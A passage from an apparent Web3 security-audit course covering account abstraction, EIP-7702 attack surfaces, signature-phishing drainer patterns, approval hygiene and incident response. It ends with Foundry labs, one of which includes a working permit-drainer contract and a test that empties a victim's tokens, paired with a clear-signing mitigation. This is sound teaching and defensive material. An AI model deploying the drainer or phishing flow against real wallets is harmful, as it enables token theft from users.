  • Module install/uninstall authorization: usually requires a normal UserOp from the account, but specifics vary. Make sure module-install isn’t delegated to a less-secure validator.

6.7 Session keys

A session key is a limited-permission key the user installs on their account temporarily — e.g., a gaming session that can transfer < $10 of a specific token, for the next 4 hours, only to specific contracts.

Implementation pattern (ERC-7579 era):

// install: user signs a UserOp that adds a validator+policy bundle
account.installModule(
    MODULE_TYPE_VALIDATOR,
    sessionValidator,
    abi.encode(
        sessionKeyPublicKey,
        policyContract,            // pre-defines allowed targets, max value per tx, total cap, expiry
        expiry
    )
);
 
// use: dApp signs a UserOp using the session key; validator dispatches to the policy contract
function validateUserOp(...) returns (uint256 validationData) {
    if (sessionKey.recover(userOpHash, op.signature) != sessionKeyPubKey) revert;
    if (!policy.check(op.callData)) revert;
    return packValidationData(false, expiry, validAfter);
}

Audit angles on session keys:

  • Policy contracts are the new trust frontier. If a session-key policy contract is buggy, a session key the user thought was “$10/day” can drain. Real bugs include: policy that decodes only the first call in a multicall; policy with off-by-one on amount; policy that doesn’t check the target contract’s address against a whitelist; policy that uses block.timestamp while the validation phase forbids it (banned opcode → simulation fails consistently → frustrated dev removes the time check).
  • Expiry: validateUserOp returns a packed validationData containing validAfter and validUntil. The EntryPoint enforces these. But the internal expiry on the session validator must match — otherwise a session that “expired” on the policy clock is still accepted by the EntryPoint.
  • Revocation: how does the user kill a session key? Module-uninstall via UserOp? On-chain mapping flip? Make sure revocation is fast (one block) and observable (event emitted).

6.8 Aggregators — BLS sig aggregation

ERC-4337 supports an optional aggregator field on each UserOp. An aggregator is a contract that can take many UserOp signatures and verify them in aggregate (e.g., via BLS pairing). This dramatically reduces calldata for batches of signatures.

Audit angles:

  • BLS aggregators must defend against rogue-key attacks (knowledge-of-secret-key proofs required from each participant) — see Tuan-01-Web3-Blockchain-Crypto-Fundamentals §4.4.
  • The aggregator contract is per-account-type. A malicious aggregator can falsely accept any signature; all accounts referring to it are compromised. Treat the aggregator as part of the account’s TCB.

7. EIP-7702 — set-code on EOAs, the biggest UX win and the biggest new attack surface of 2025

7.1 Mechanism

EIP-7702 (live in Pectra, May 7, 2025 [verify]) introduces transaction type 0x04 — the SET_CODE_TX. Its key innovation: an EOA can include an authorization list signing that, for the duration of this transaction, the EOA’s account temporarily delegates to a specified contract’s code.

The on-chain effect: the EOA’s account code becomes 0xef0100 || delegated_address. The 0xef prefix is a previously-banned opcode (per EIP-3541), repurposed as the delegation indicator. When any CALL/CALLCODE/DELEGATECALL/STATICCALL lands at the EOA, the EVM loads the code at delegated_address and executes it in the EOA’s address context (storage = EOA’s storage, address(this) = EOA).

Each authorization in the list is [chain_id, address, nonce, y_parity, r, s], signed over keccak256(0x05 || rlp([chain_id, address, nonce])). The signer is the EOA itself.

sequenceDiagram
  participant U as User (EOA)
  participant S as Sponsor (or self)
  participant N as Network
  participant D as Delegate code
  U->>U: Sign auth([chainid, delegate, nonce])
  U->>S: Hand auth to sponsor
  S->>N: type-0x04 tx including auth list
  N->>N: For each auth: set EOA.code = 0xef0100||delegate
  N->>D: Execute target call as EOA<br>(storage = EOA's, msg.sender = sponsor)
  Note over N: EOA.code persists until<br>another auth with newer nonce

7.2 The new attack surfaces

Surface 1 — Malicious delegations via phishing. A user signs an authorization list believing it grants a transient gas-sponsorship for one tx; in fact, the authorization persists across blocks (the delegation is on-chain until replaced). The malicious code now lives in the user’s account forever. Any future CALL to the EOA executes the malicious code.

Naive expectation: “I authorized X for one transaction.” Reality: “I authorized X until I sign a new authorization with a higher nonce delegating elsewhere (or to address(0) to clear).”

Surface 2 — Signature reuse across chains. The auth is signed over (chain_id, address, nonce). If chain_id == 0 is used (the EIP allows it for “any chain”), the same auth replays on every chain the EOA exists on. Hard finding: any 7702 wallet UI that sets chain_id = 0 is a phishing accelerator. Always require chain-specific authorizations unless cross-chain is explicitly intended.

Surface 3 — In-tx code swap. A single transaction can include multiple authorizations from the same EOA at different nonces. An attacker can arrange a tx where the EOA delegates to contract A, A makes a call, then mid-tx the EOA’s auth nonce increments and delegates to B; the next call lands on B. Reasoning about the EOA’s behavior requires reasoning about the active delegation at each call site, which is non-local.

Surface 4 — Storage collisions across delegations. If a user delegates first to Wallet-Vendor-A’s code, uses it for a while (writes to storage layout A), then delegates to Wallet-Vendor-B, the storage is not cleared. Wallet B reads slot 0 expecting its own variable; finds A’s leftover. Result: undefined behavior, possibly catastrophic. The recommendation is ERC-7201 namespaced storage in delegate contracts, but enforcement is “everyone agrees” not “the EVM checks”.

Surface 5 — Sponsor manipulation. Many 7702 use cases involve a sponsor (relayer) submitting the type-0x04 tx and paying gas. If the auth doesn’t bind the target and value of the call the EOA is about to make, the sponsor can re-purpose the auth — sign for “do X with delegate Y” but make Y do X’ instead, because the auth only binds the delegate, not what the delegate is asked to do.

Surface 6 — Bypass of “is this a contract?” checks. The classic msg.sender.code.length == 0 check returns true for a delegated EOA (because the EOA’s code is now 23 bytes — 0xef0100 + 20-byte address). Conversely, the tx.origin == msg.sender check returns true for a delegated EOA acting on itself. Every “EOA only” guard in production contracts must be re-audited post-Pectra.

7.3 Audit checklist for 7702 integrations

  • Delegate contract: who wrote it? Is it formally verified or audited? Is it immutable? Does it include msg.sender checks to gate sensitive functions?
  • Replay protection: does the delegate contract include its own nonce + EIP-712 domain separator for actions, not just relying on the 7702 auth nonce? Without this, the sponsor can replay actions.
  • Value / target binding: are user-intended actions explicitly signed over by the user (not just the delegation itself)?
  • Storage namespacing: does the delegate use ERC-7201 to scope its storage?
  • Clear-delegation path: can the user revert to a “pure EOA” state (delegation to address(0))? Is this discoverable in the UI?
  • Wallet UI clear-signing of authorization payloads: hardware wallets must display the delegation target and chain id, not just blind-sign the auth bytes. Audit the wallet UX, not just the contracts.
  • Downstream contracts: review all contracts the protocol interacts with for tx.origin == msg.sender / code.length == 0 checks. Each is a 7702-related finding.

7.4 The UX-win argument (for context)

EIP-7702 is the path to “gradually upgrade EOAs to smart accounts without users needing to move funds to a new address”. For a user that has an EOA with tokens, history, ENS, etc., this is the only realistic AA migration path. The trade-off is the new attack surface listed above. Expect 7702 to dominate the wallet-related finding flow in 2026 audits as adoption ramps.


8. ERC-1271 + ERC-6492 — signing for and by smart accounts

8.1 ERC-1271 recap

For an EOA, signature verification is ecrecover. For a smart account, that doesn’t work — there’s no d to sign with. ERC-1271 standardizes contract-based signature verification:

interface IERC1271 {
    function isValidSignature(bytes32 hash, bytes calldata signature)
        external view returns (bytes4 magicValue);
}
 
// magic == 0x1626ba7e on success

The contract decides — by whatever logic — whether the provided “signature” authenticates the provided hash. The signature can be ECDSA over an owner key, a multisig aggregate, BLS, passkey/WebAuthn, biometric attestation, anything.

Audit angles on ERC-1271 implementers:

  • view purity: the function is declared view. If it modifies state (or uses indirect state-modifying patterns like GasToken minting via STATICCALL trickery), it violates the spec and can be abused for griefing.
  • Magic value collisions: returning 0x1626ba7e is a positive answer. If the implementation has a fallback that returns garbage which happens to start with 0x1626ba7e (4 bytes of zeros aligned, etc.), any signature passes. Very real bug class — verify that every code path either returns the magic explicitly or returns 0xffffffff.
  • Gas exposure: callers must not assume bounded gas. A malicious 1271 implementer can burn gas to grief integrators. Use staticcall with a gas cap when consuming 1271.
  • Composition with 4337: an account’s validateUserOp and isValidSignature are usually two different entry points but should produce consistent answers (same authentication policy). Inconsistency = a signed message authorized off-chain may not match what validateUserOp accepts — or vice versa.

Audit angles on ERC-1271 consumers (everywhere that accepts off-chain sigs):

  • Use SignatureChecker.isValidSignatureNow (OpenZeppelin) — branches between ecrecover and IERC1271.isValidSignature based on code.length > 0. But post-7702, code.length > 0 is true for delegated EOAs too — the right check now is “the account has 1271 declared”. (OZ updated SignatureChecker to be robust to 7702 [verify v5.x release notes].)
  • Don’t accept the 1271 magic value silently if staticcall reverted — many implementations propagate revert reason and look like “false” when actually “panicked”.

8.2 ERC-6492 — counterfactual signatures for not-yet-deployed wallets

A smart account computed via CREATE2 has a known address before deployment. With ERC-6492, a signature can be valid for that address before the contract is deployed.

Mechanism: the signature is wrapped as

abi.encode(create2Factory, factoryCalldata, originalERC1271Signature)
  || 0x6492649264926492649264926492649264926492649264926492649264926492 (magic suffix)

The verifier flow:

  1. Check the last 32 bytes for the 6492 magic.
  2. If present, simulate-deploy via the factory (in a static read context using multicall trickery, or perform the deploy if execution allows), then verify against isValidSignature.
  3. If no magic, do normal ERC-1271.
  4. Fallback to ecrecover.

The magic suffix ends in 0x92 specifically because that byte cannot appear at the end of a valid ECDSA (r, s, v) signature (v ∈ {27, 28} ⊕ {0, 1} ⊕ chainid offsets, but never 0x92), so the wrapper can’t collide with a real ECDSA sig.

Audit angles:

  • Verifier correctness: the verifier must check 6492 magic first, then ERC-1271, then ECDSA. Wrong order can cause valid 6492 sigs to be misverified as bad ECDSA sigs.
  • Factory call inside the verification: if the factory call deploys the contract, then the “signature verification” has side effects. Many integrations call ERC-6492 in a staticcall context which forbids state changes; the spec defines a magic prefix validateSigOffchain and a multicall that fakes deployment for verification only.
  • Pre-deployed wallet signing: dApps building “sign in with Ethereum” or off-chain orders that include 4337-style smart accounts as signers should use 6492. Without it, a brand-new smart account user can’t sign anything until first deploying — broken UX and lost users.

9. Signature phishing — the dominant wallet-layer threat of 2024–2026

9.1 The pattern, generalized

flowchart LR
  P[Phisher serves<br>fake site] -->|connect wallet| W[User wallet]
  P -->|requests EIP-712 sig<br>for 'free mint',<br>'sign-in', etc.| W
  W -->|signs| W
  W -->|returns sig| P
  P -->|relays sig to chain<br>via permit + transferFrom| C[Token contract]
  C -->|drains tokens<br>to attacker| Att[Attacker wallet]

Three properties make signature phishing the highest-ROI scam in the wallet layer:

  1. The user pays no gas to sign, so no “wait, I’m about to spend ETH” friction.
  2. The signature is opaque unless the wallet has clear-signing rendering for that EIP-712 schema.
  3. The on-chain action is delayed, so the user has no immediate visibility.

9.2 The four most common drainer payloads

(a) permit drainer — EIP-2612 token permit.

Most ERC-20s post-2021 include permit(owner, spender, value, deadline, v, r, s). A phisher gets the user to sign an EIP-712 Permit struct with spender = attacker, value = MAX, deadline = far_future. The phisher then calls token.permit(...) followed by token.transferFrom(owner, attacker, balance). Both calls in one tx, attacker pays gas, user loses their entire balance of that token.

User sees in their wallet: “Sign typed data”. Maybe “Permit USDC”. If clear signing works on the token’s schema, they see value: 115792... (max uint256) and spender: 0xabc... — but most users don’t know 0xabc is the attacker. If clear signing doesn’t work, they see raw hex.

(b) Permit2 drainer.

Uniswap’s Permit2 is a singleton at 0x000000000022D473030F116dDEE9F6B43aC78BA3 that holds approvals for every ERC-20 the user has approved. Most users have approved Permit2 for max on USDC, USDT, WETH, etc., because they used Uniswap once.

Permit2 supports off-chain signatures (PermitTransferFrom, PermitBatchTransferFrom, permitWitnessTransferFrom). A phisher gets the user to sign a PermitTransferFrom for token X, amount MAX, spender = attacker. Attacker calls permit2.permitTransferFrom(...) and pulls X from the user’s wallet — without ever calling the token’s approve themselves.

Why this is worse than (a): a single Permit2 signature can drain any token the user has previously approved to Permit2. A Permit2 phishing victim usually loses multiple tokens, not just one.

(c) setApprovalForAll (NFT drainer).

For ERC-721 / ERC-1155, the analog of permit is setApprovalForAll(operator, approved). A phisher gets the user to sign an EIP-712 OrderHash (Seaport or Blur) or to directly invoke setApprovalForAll(attacker, true) from a “free mint” page. Either way, the attacker can then transfer every NFT in that collection.

(d) “Seaport listing for 0 ETH”.

The famous OpenSea-Seaport drainer pattern: the user signs a OrderComponents for an NFT listing with consideration = “send my NFT to anyone who pays 0 ETH”. The phisher then “buys” the NFT for 0 ETH. The signature looks like a standard listing in Seaport’s EIP-712 schema; the user, blind-signing or with poor wallet rendering, doesn’t catch the zero consideration.

A specific Seaport variant: the consideration includes all of the user’s NFTs from one collection bundled, for a single 0 ETH payment. One signature = entire collection.

9.3 The drainer-kit ecosystem (Inferno / Pink / Angel)

These are “drainer-as-a-service” platforms: subscription products (typically 1000/month) that provide phishing-frontend code, on-chain drain logic, and laundering pipelines to scam operators. The operator runs the phishing campaign (ads, Discord/Twitter promotion, fake mint pages); the kit provides the wallet-connection and drain execution; the kit’s authors take 20–30% of proceeds.

Active in 2024 (per Scam Sniffer / Moonlock 2024 telemetry [verify]):

  • Inferno Drainer — ~40% market share through mid-2024 before “retiring”; toolkit transferred to Angel.
  • Pink Drainer — ~28% share; shut down in mid-2024.
  • Angel Drainer — picked up Inferno’s toolkit; largest active drainer-as-a-service into 2025–26.

Auditor’s role here: we don’t audit drainer code. We audit the wallet and protocol UX that makes drainer code effective. Specifically:

  • Every protocol that asks users to sign EIP-712: does the schema render meaningfully on hardware wallets? On MetaMask/Rabby/Frame?
  • Every protocol exposing permit flows: is there a per-operation amount cap? A short deadline? A whitelist of recipients enforced at the protocol layer (so a permit drained outside the protocol can’t be redirected)?
  • Every dApp frontend: does the connect-and-sign flow include the user’s review of the EIP-712 schema in plain language before the wallet popup, not just inside it?

9.4 The BadgerDAO 2021 frontend angle (linked: Case-BadgerDAO-Frontend-2021)

Most drainer attacks rely on luring victims to a malicious site. The harder shape is when victims visit a legitimate site whose frontend has been silently swapped (BadgerDAO 2021, Galxe 2023, Ledger Connect Kit 2023). The user does what they always do; the signature requested has been altered by a compromised JS bundle.

The trust seam diagram from Tuan-01-Web3-Blockchain-Crypto-Fundamentals §6 with the frontend node yellow-highlighted is exactly this attack class. The contract is fine; the bytes that pass through the wallet are not.

This bridges to Tuan-13-Frontend-dApp-Infrastructure, but for our purposes here: the wallet layer is the last line of defense before a compromised frontend’s signed payload turns into an on-chain drain. The wallet’s job is to reduce the asymmetry of information between “what the user thinks is happening” and “what the signature actually authorizes”. This is what transaction simulation is for.


10. Transaction simulation — the wallet’s last line of defense

10.1 What simulation is

A wallet simulates a transaction by executing it against a fork of the live chain state and reporting the effects: which tokens move, which approvals change, which events fire. The user can then decide whether the effects match their intent before signing.

Standard simulators:

ToolTypeNotes
TenderlyHostedIndustry default for developer tx simulation; APIs for protocols and wallets
RabbyBuilt-in walletPre-signing simulation showing asset movement + approval changes; one of the most aggressive defaults
MetaMask + BlockaidBuilt-in walletDefault in 2024+; security alerts for known scam patterns; less detail than Rabby but on by default
BlockSec / PhalconPre-sign + post-txApproval-aware; flags suspicious patterns
Pocket Universe / Wallet Guard / PocketGuard / Scam SnifferBrowser extensionCrowd-sourced phishing lists + pre-sign warnings
Revoke.cashApproval inspectorPost-fact review of all approvals; revoke flow

10.2 What simulation catches — and what it doesn’t

Simulation reliably catches:

  • Direct ERC-20 transfers to addresses the user didn’t expect.
  • approve(...) calls with large allowances.
  • NFT setApprovalForAll(true, attacker).
  • Reverts and out-of-gas (so the user doesn’t waste gas signing a doomed tx).

Simulation doesn’t catch:

  • Off-chain signature drains. Signing an EIP-712 permit does not produce any on-chain state change at sign time. The simulator has nothing to simulate. Some tools have started parsing EIP-712 payloads and flagging “permit to address you’ve never interacted with” — but coverage is incomplete and easily evaded.
  • Delayed exploits. A signature with a far-future deadline that gets used 3 months later, after the simulator-flagged state has been forgotten.
  • State-dependent attacks. A tx that simulates safely now but executes differently when included in a different block context (oracle move, sandwich, etc.).
  • Off-chain consequences. Setting yourself up as a fiduciary in some legal contract, signing a “sign-in with Ethereum” payload that’s used to authenticate to a malicious admin panel.

Auditor’s role: when reviewing a protocol’s signing UX, ask “if the user has tx simulation, what does it show? Does it accurately represent the danger?” For EIP-712 drainer paths, the answer is often “no” — and the protocol should warn the user accordingly.


11. Approval management — approve(MAX) is industry-default and that’s a problem

11.1 Why “approve max” exists

When you call a DEX, the DEX needs to move your tokens via transferFrom(you, ..., ...). That requires an allowance set in advance via approve(dex, amount). The naive flow is “approve exactly the trade amount, then trade”. That’s two transactions, two gas costs, two confirmation popups.

Every major DEX optimized this to approve max once, trade many times forever. UX win, security loss. The user is now one DEX-bug or one DEX-frontend-compromise away from losing their entire balance of that token (because the DEX has standing infinite approval).

11.2 Real loss patterns

  • BadgerDAO 2021 — user had infinite approval to Badger contracts; frontend tricked them into approving the attacker with infinite, and the attacker’s contract simply called transferFrom on already-approved balances. (Strictly speaking, BadgerDAO injected an additional approval to the attacker, not the same one — but the lesson generalizes: infinite outstanding approvals are loaded chambers.)
  • Permit2 phishing (§9.2b) — relies on standing Permit2 approvals.
  • Tornado-cash-blacklisted contracts that users had approved years ago and never revoked.
  • Forgotten approvals to defunct projects — protocol contracts may be upgradeable, original owner abandoned, attacker takes over, user’s standing infinite approval still effective.

11.3 Revoke.cash workflow (and the auditor’s checklist)

revoke.cash (and analogues: Etherscan token approvals page, debank, etc.) reads all approval events for a given address and presents a table: token, spender, amount, last activity. The user revokes by submitting a new approve(spender, 0) (or setApprovalForAll(operator, false) for NFTs).

Workflow recommendation for high-value addresses:

  1. Monthly: review approvals on revoke.cash.
  2. Revoke any approval whose spender hasn’t been used in 90 days.
  3. Revoke any approval to a contract that has had an incident.
  4. For DAOs / treasuries: maintain a written approval-list and reconcile against the on-chain set quarterly.

Audit angle on protocols: a protocol that requires approve(MAX) to function is creating systemic risk for its users. A protocol should:

  • Support permit so users can approve per-tx instead of once-forever.
  • Integrate with Permit2 (with the understanding that Permit2’s standing approval is now the concentrated point of risk — but it is at least one point, not N).
  • Document the approval requirement clearly and warn users about infinite allowances.
  • On upgrades, consider re-issuing contract addresses if the trust assumption changes, so users must explicitly re-approve.

12. Key-compromise scenarios — what to audit for, what to do post-hoc

12.1 The matrix of compromise scenarios

ScenarioLikelihoodDrain scopeTime to drainRecoverable?
EOA seed phrase exposed (malware, phishing, screen capture, photo)HighEverything across all chains derived from this seedSecondsNo
EOA private key exposed (specific addr)MediumThat single address across all chainsSecondsNo
EOA signed a malicious EIP-712 (permit, Permit2, Seaport)Very highTokens covered by the signatureBlockNo
EOA signed a malicious setApprovalForAllHighNFT collection per signatureBlockNo
Hardware wallet host-machine compromise → blind-signed bad tx (Radiant pattern)MediumWhat that signature authorizesBlockNo
Hardware wallet supply-chain compromise (Ledger Connect Kit)Low absolute, high blast-radiusAny user interacting via compromised libBlock, while compromise activeNo
Safe — single owner key compromised below thresholdMediumCannot drain alone; can colludeN/A aloneYes — rotate that owner
Safe — threshold owners colluded / coerced / hackedLow but catastrophicFull SafeSingle txSometimes — if a guard/timelock intervenes
Safe module backdoor / compromised module adminMediumFull SafeSingle txSometimes — if rapid module removal possible
MPC — single share holder compromisedLowCannot sign aloneN/AYes — refresh shares
MPC — backend (vendor) compromisedLow absolute, high if it happensUp to threshold of vendor-controlled sharesDepends on vendor securitySometimes — depends on the vendor’s policy engine
MPC — policy admin compromisedMediumWhat policy allows; potentially fullSingle tx within policySometimes
Bundler key or RPC compromiseLowInclusion / censorship; can’t forge sigsN/A directlyYes — switch bundlers

12.2 The post-compromise playbook

When a key compromise is detected:

  1. Within seconds: move uncompromised assets out (a separate-key emergency wallet should pre-exist). For Safes, signal “do not sign anything” in operator channels.
  2. Within minutes:
    • For an EOA: there’s nothing to “rotate” — abandon the address. Sweep what can be swept; the rest is gone.
    • For a Safe: submit a Safe transaction to remove the compromised owner (this requires threshold signatures from the non-compromised owners; verify offline).
    • For an MPC wallet: trigger a share-refresh ceremony if the architecture supports it; or disable the affected share-holder and re-key.
    • For an ERC-4337 account: install a fresh validator module via UserOp signed by a recovery validator (if installed) and uninstall the compromised one.
  3. Within hours: contact on-chain investigators / white-hat groups. Active groups in 2026 [verify]:
    • SEAL 911 — community of incident-response volunteers.
    • Chainalysis Crypto Incident Response — paid investigation.
    • Crystal Blockchain — investigation + KYC tracing.
    • TRM Labs — investigation and policy.
    • Whitehat groups on Twitter@samczsun, @officer_cia, @peckshield, others.
  4. Within days: file with FBI IC3, local authorities if applicable; freeze on centralized off-ramps if possible (Tether and Circle have frozen attacker addresses in some cases).
  5. Within weeks: post-mortem (public, even if uncomfortable — community trust is repaired by transparency); rotate every key, reset every dApp connection, audit every approval.

Auditor’s role pre-incident: every protocol should have a documented incident-response plan that includes this playbook. Missing IR plan = a finding in the audit report’s “operational” section.


13. Lab — three exercises that exercise the full wallet-layer stack

13.1 Lab structure

~/web3-sec-lab/wk12/
├── 01-safe-multisig/      # Deploy Safe locally, audit owner mgmt, modules, guards
├── 02-aa-session-keys/    # Build minimal 4337 account w/ session-key validator
└── 03-permit-phisher/     # Permit-phishing PoC + clear-signing mitigation

Each is a Foundry project; the AA lab additionally needs a local bundler (Stackup, Alchemy Rundler, or Pimlico’s reference bundler).

13.2 Lab 1 — Safe multisig on Anvil

Goal: deploy a 2-of-3 Safe locally, execute a transaction, demonstrate threshold enforcement.

mkdir -p ~/web3-sec-lab/wk12/01-safe-multisig && cd ~/web3-sec-lab/wk12/01-safe-multisig
forge init --no-commit .
forge install safe-global/safe-smart-account --no-commit
anvil --port 8545 &

Use the Safe Factory to deploy a Safe with three owners and threshold 2:

// script/DeploySafe.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import "forge-std/Script.sol";
import "safe-smart-account/contracts/proxies/SafeProxyFactory.sol";
import "safe-smart-account/contracts/Safe.sol";
 
contract DeploySafe is Script {
    address constant SAFE_SINGLETON = /* deploy or use canonical */ address(0);
    address constant FACTORY = /* deploy or use canonical */ address(0);
 
    function run() external returns (address safe) {
        address[] memory owners = new address[](3);
        owners[0] = vm.addr(1);
        owners[1] = vm.addr(2);
        owners[2] = vm.addr(3);
 
        bytes memory setupData = abi.encodeCall(Safe.setup, (
            owners, 2, address(0), "", address(0), address(0), 0, payable(address(0))
        ));
 
        vm.startBroadcast();
        safe = address(SafeProxyFactory(FACTORY).createProxyWithNonce(
            SAFE_SINGLETON, setupData, /* saltNonce */ 1
        ));
        vm.stopBroadcast();
    }
}

Task A — Execute a transaction: write a Foundry test that:

  1. Funds the Safe with 10 ETH.
  2. Constructs a SafeTx to send 1 ETH to a recipient.
  3. Computes the EIP-712 typed-data hash (Safe.getTransactionHash(...)).
  4. Has owners 1 and 2 sign; packs (r, s, v) pairs in ascending-owner-address order.
  5. Calls Safe.execTransaction(...).
  6. Asserts the recipient balance.

Task B — Threshold enforcement: modify the test to sign with only owner 1. Confirm the call reverts with GS020 (signature count below threshold).

Task C — Owner rotation under compromise: pretend owner 3’s key is compromised. Submit a SafeTx that calls Safe.swapOwner(prevOwner, oldOwner, newOwner) and execute it with owners 1+2. Confirm getOwners() reflects the new set.

Task D — Module audit: install a simple WhitelistedTransferModule (write your own; 50 LoC) that allows owner-less calls to a whitelisted recipient. Demonstrate that:

  • A transfer via the module succeeds without threshold sigs.
  • The module bypasses any guard you install (Safe ≤ 1.4.1).
  • An attacker who can call the module’s owner (e.g., a stolen module-admin key) can move funds without touching the Safe owners.

Deliverable: 4 passing tests; a short writeup (in notes.md) on each lab observation and the audit finding it would generate.

13.3 Lab 2 — Minimal ERC-4337 account with session keys

Goal: build a minimal smart account with ECDSA primary validator and a session-key validator, submit a UserOp through a local bundler, audit the validation logic for storage-access-rule violations.

mkdir -p ~/web3-sec-lab/wk12/02-aa-session-keys && cd ~/web3-sec-lab/wk12/02-aa-session-keys
forge init --no-commit .
forge install eth-infinitism/account-abstraction --no-commit

Skeleton account:

// src/MinimalAccount.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;
 
import "account-abstraction/core/BaseAccount.sol";
import "account-abstraction/interfaces/IEntryPoint.sol";
import {ECDSA} from "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
 
contract MinimalAccount is BaseAccount {
    address public owner;
    address public sessionKey;
    address public sessionPolicy; // contract that vets calls
    uint48 public sessionExpiry;
 
    IEntryPoint private immutable _entryPoint;
 
    constructor(IEntryPoint ep, address _owner) {
        _entryPoint = ep;
        owner = _owner;
    }
 
    function entryPoint() public view override returns (IEntryPoint) {
        return _entryPoint;
    }
 
    function installSession(
        address _key, address _policy, uint48 _expiry
    ) external {
        // SECURITY: must be self-called via execute (recursive) or owner gating
        require(msg.sender == address(this), "only self");
        sessionKey = _key;
        sessionPolicy = _policy;
        sessionExpiry = _expiry;
    }
 
    function _validateSignature(
        PackedUserOperation calldata userOp,
        bytes32 userOpHash
    ) internal override returns (uint256 validationData) {
        // First try owner sig (full power)
        bytes32 ethHash = ECDSA.toEthSignedMessageHash(userOpHash);
        address signer = ECDSA.recover(ethHash, userOp.signature);
        if (signer == owner) return 0;
 
        // Then try session key (limited via policy + expiry)
        if (signer == sessionKey && sessionExpiry > 0) {
            // INTENTIONAL BUG for the lab: this read is on session policy
            // contract's storage, which violates ERC-7562 storage rules
            // for an unstaked account. Find and fix.
            bool ok = ISessionPolicy(sessionPolicy).vet(userOp.callData);
            if (!ok) return SIG_VALIDATION_FAILED;
            // Pack expiry into validationData (validUntil = sessionExpiry)
            return _packValidationData(false, sessionExpiry, 0);
        }
 
        return SIG_VALIDATION_FAILED;
    }
 
    function execute(address to, uint256 value, bytes calldata data)
        external
    {
        _requireFromEntryPointOrOwner();
        (bool ok,) = to.call{value: value}(data);
        require(ok, "exec failed");
    }
 
    function _requireFromEntryPointOrOwner() internal view {
        require(
            msg.sender == address(_entryPoint) || msg.sender == owner,
            "not from EP or owner"
        );
    }
}
 
interface ISessionPolicy {
    function vet(bytes calldata callData) external view returns (bool);
}

Task A — Submit a UserOp using the owner key. Use the eth-infinitism reference bundler (or Pimlico Alto, or Stackup) running locally against Anvil with the EntryPoint v0.7 deployed. Confirm a UserOp transferring 0.1 ETH out of the account succeeds.

Task B — Submit a UserOp using a session key. Install a WhitelistedTransferPolicy that only allows transfer(recipient, amount) calls on a specific token. Sign a UserOp with the session key. Submit. Observe the bundler’s behavior.

Task C — Audit finding: identify why the ISessionPolicy(sessionPolicy).vet(...) call in _validateSignature violates ERC-7562 storage rules for an unstaked account. Hint: reading another contract’s storage during validation is banned for unstaked entities. The bundler may reject this UserOp; you can confirm with eth_estimateUserOperationGas failing on simulation.

Fix options:

  • Stake the account in the EntryPoint (deposit + stake STAKE_DELAY seconds).
  • Replace policy with a self-contained library (delegatecall to logic that reads only the account’s own storage).
  • Bake the policy data into the account’s storage at session-install time.

Task D — Storage-rule violation enumeration: deliberately add three more rule-violating patterns to _validateSignature (e.g., block.timestamp check, balance check, oracle read), confirm each fails simulation, then fix each. Deliverable: a finding-style writeup of all four violations and their fixes.

13.4 Lab 3 — permit drainer PoC with EIP-712 rendering patch

Goal: build a drainer-style “free mint” page that asks the user to sign an EIP-2612 permit they believe is for free-minting an NFT, but is actually an infinite-allowance grant to the attacker. Then patch by adding clear-signing-style EIP-712 rendering.

mkdir -p ~/web3-sec-lab/wk12/03-permit-phisher && cd ~/web3-sec-lab/wk12/03-permit-phisher
forge init --no-commit .

Part 1 — the drain primitive (contracts side):

// src/Victim.sol — represents a normal ERC-20 with permit
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol";
 
contract Victim is ERC20Permit {
    constructor() ERC20("Victim", "VIC") ERC20Permit("Victim") {
        _mint(msg.sender, 1_000_000e18);
    }
}
// src/Drainer.sol — what the attacker deploys to receive permit + transferFrom
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Permit.sol";
 
contract Drainer {
    function drain(
        address token, address victim,
        uint256 amount, uint256 deadline,
        uint8 v, bytes32 r, bytes32 s
    ) external {
        IERC20Permit(token).permit(victim, address(this), amount, deadline, v, r, s);
        IERC20(token).transferFrom(victim, msg.sender, amount);
    }
}

Part 2 — the PoC test:

// test/PermitPhish.t.sol — demonstrates the drain end-to-end
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import "forge-std/Test.sol";
import "../src/Victim.sol";
import "../src/Drainer.sol";
 
contract PermitPhishTest is Test {
    Victim token;
    Drainer drainer;
    uint256 victimPk;
    address victim;
    address attacker = address(0xa11ce);
 
    function setUp() public {
        token = new Victim();
        drainer = new Drainer();
        victimPk = 0xb0b0;
        victim = vm.addr(victimPk);
        token.transfer(victim, 1000e18);
    }
 
    function test_drain_via_phished_permit() public {
        // Victim signs a permit they believe authorizes a "free mint" but actually
        // is max allowance to the drainer contract.
        bytes32 PERMIT_TYPEHASH = keccak256(
            "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
        );
        uint256 nonce = token.nonces(victim);
        uint256 deadline = block.timestamp + 365 days;
        uint256 maxValue = type(uint256).max;
 
        bytes32 structHash = keccak256(abi.encode(
            PERMIT_TYPEHASH, victim, address(drainer), maxValue, nonce, deadline
        ));
        bytes32 digest = keccak256(abi.encodePacked(
            "\x19\x01", token.DOMAIN_SEPARATOR(), structHash
        ));
 
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(victimPk, digest);
 
        // Attacker calls drainer
        vm.prank(attacker);
        drainer.drain(address(token), victim, 1000e18, deadline, v, r, s);
 
        assertEq(token.balanceOf(victim), 0, "victim drained");
        assertEq(token.balanceOf(attacker), 1000e18, "attacker holds");
    }
}

Part 3 — the mitigation: wallet-side clear signing.

Write a short utility (scripts/render-permit.ts or in Solidity for the test) that takes the EIP-712 typed-data payload that the wallet is about to sign and renders it as the wallet should show it:

You are about to sign a TOKEN PERMIT.

Token:     Victim (VIC) at 0x...
Spender:   0x...   (Drainer contract, deployed 0 seconds ago, 0 reputation)
Amount:    115792089237316195423570985008687907853269984665640564039457584007913129639935
           = MAX UINT256
           = effectively your entire token balance, present and future
Deadline:  31536000 seconds in the future = 365 days

WARNING: this signature, if used, allows the spender to take ALL of your
VIC tokens from this address at any time within the next 365 days.

If you intended to sign a "free mint", this is NOT a free mint.

The point: a wallet doing clear signing of EIP-712 should produce roughly this output. The fact that most wallets don’t (or only do for whitelisted schemas) is why this scam works.

Deliverable for Lab 3:

  • The PoC test passes (drain succeeds).
